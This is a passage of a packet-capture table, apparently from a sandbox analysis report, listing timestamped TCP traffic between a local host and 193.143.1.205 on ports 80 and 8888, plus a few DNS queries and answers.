Jan 11, 2025 02:13:00.904951096 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904961109 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904970884 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.904980898 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.905045986 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.905061007 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.905071020 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.905081987 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.905103922 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.905128956 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.919188976 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.924000025 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.924011946 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.924022913 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.924094915 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.929063082 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.935013056 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935024023 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935034037 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935086966 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.935105085 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935115099 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935126066 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.935131073 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935142994 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935173035 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.935209990 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.935333014 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935343027 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935353041 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935364008 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935374022 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.935403109 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.935522079 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935533047 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935543060 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935553074 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935563087 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935570002 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.935580015 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935590982 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935597897 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.935606956 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935619116 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.935626030 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935658932 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.935820103 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935861111 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.935935974 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935946941 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935956955 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935969114 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935980082 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.935988903 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.935997009 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936012030 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936022043 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.936029911 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936042070 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936060905 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.936084032 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.936373949 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936384916 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936394930 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936405897 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936414957 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.936424017 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936435938 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936446905 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.936454058 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936476946 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.936567068 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.936620951 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936727047 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936738014 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936748028 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936758995 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936770916 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.936780930 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936789989 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.936799049 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936809063 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936820030 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.936827898 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.936849117 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.937107086 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.937119007 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.937129021 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.937139988 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.937150002 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.937156916 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.937167883 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.937177896 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.937186956 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.937192917 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.937227011 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.963912010 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.963942051 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.963984966 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.964004993 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.964046955 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.964174986 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.964184999 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.964195967 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.964206934 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.964216948 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.964226007 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.964235067 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.964246988 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.964386940 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.964396954 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.964407921 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.964432001 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.964447021 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.964454889 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.964463949 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.964473963 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.964493036 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.964513063 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.994005919 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994019032 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994029045 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994119883 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994131088 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994143963 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.994164944 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994175911 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994182110 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994213104 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.994235039 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.994291067 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994302034 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994311094 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994333982 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.994509935 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994522095 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994532108 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994540930 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994549990 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.994558096 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994569063 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994576931 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.994585991 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994613886 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.994635105 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.994715929 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994728088 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994738102 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994750977 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994760036 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994771957 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.994776964 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994787931 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994796038 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.994807959 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.994837999 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.995109081 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995120049 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995129108 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995138884 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995148897 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995158911 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995167971 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995172977 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.995182037 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995191097 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.995199919 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995209932 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.995217085 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995228052 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995234966 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.995259047 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.995578051 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995589018 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995599031 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995609999 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995620012 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.995626926 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995636940 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995646954 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995655060 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.995663881 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995676994 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995682001 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.995692015 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995702982 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995712996 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995721102 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.995731115 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.995765924 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.995774031 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.996179104 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996190071 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996198893 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996211052 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996222019 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.996228933 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996239901 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996249914 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996258020 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.996267080 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996277094 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996285915 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.996294975 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996306896 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.996311903 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996323109 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996330023 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.996340036 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996367931 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.996629953 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996640921 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996650934 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996663094 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996673107 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.996711969 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.996732950 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996769905 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.996923923 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996934891 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996951103 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996964931 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996969938 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.996979952 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996989965 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.996999979 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.997006893 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.997018099 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.997029066 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.997035027 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.997049093 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.997052908 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.997062922 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.997072935 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.997081995 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.997092962 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.997103930 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.997108936 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.997119904 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.997128963 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.997140884 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:00.997148037 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.997169018 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.997194052 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:00.997570992 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024035931 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024063110 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024074078 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024173021 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024183989 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024236917 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.024236917 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.024236917 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.024255037 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024266005 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024319887 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.024643898 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024655104 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024666071 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024698973 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.024710894 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024720907 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024770021 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.024813890 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024823904 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.024854898 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.054497004 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.054522038 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.054533005 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.054584980 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.054589033 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.054624081 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.054653883 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.054665089 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.054697990 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.054780960 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.054791927 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.054802895 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.054814100 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.054820061 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.054862976 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.054995060 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.055037022 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.055056095 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.055068016 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.055078030 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.055214882 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.055233002 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.055254936 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.084599972 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.084629059 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.084640026 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.084705114 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.084760904 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.084773064 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.084847927 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.084860086 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.084909916 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.084909916 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.085052967 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.085063934 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.085074902 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.085086107 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.085095882 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.085095882 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.085107088 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.085119963 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.085164070 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.085302114 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.085313082 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.085323095 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.085334063 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.085344076 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.085344076 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.085355043 CET	80	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:01.085371017 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.085405111 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:01.814723015 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:02.219355106 CET	49758	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:02.631329060 CET	49778	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:02.636324883 CET	8888	49778	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:02.636497974 CET	49778	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:02.636650085 CET	49778	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:02.641450882 CET	8888	49778	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:03.421216011 CET	8888	49778	193.143.1.205	192.168.2.9
Jan 11, 2025 02:13:03.467571020 CET	49778	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 02:13:03.496520042 CET	49778	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:13:11.297620058 CET	56141	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:13:11.297620058 CET	192.168.2.9	1.1.1.1	0xe4a1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:12:50.418603897 CET	1.1.1.1	192.168.2.9	0xd77f	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:12:50.418603897 CET	1.1.1.1	192.168.2.9	0xd77f	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
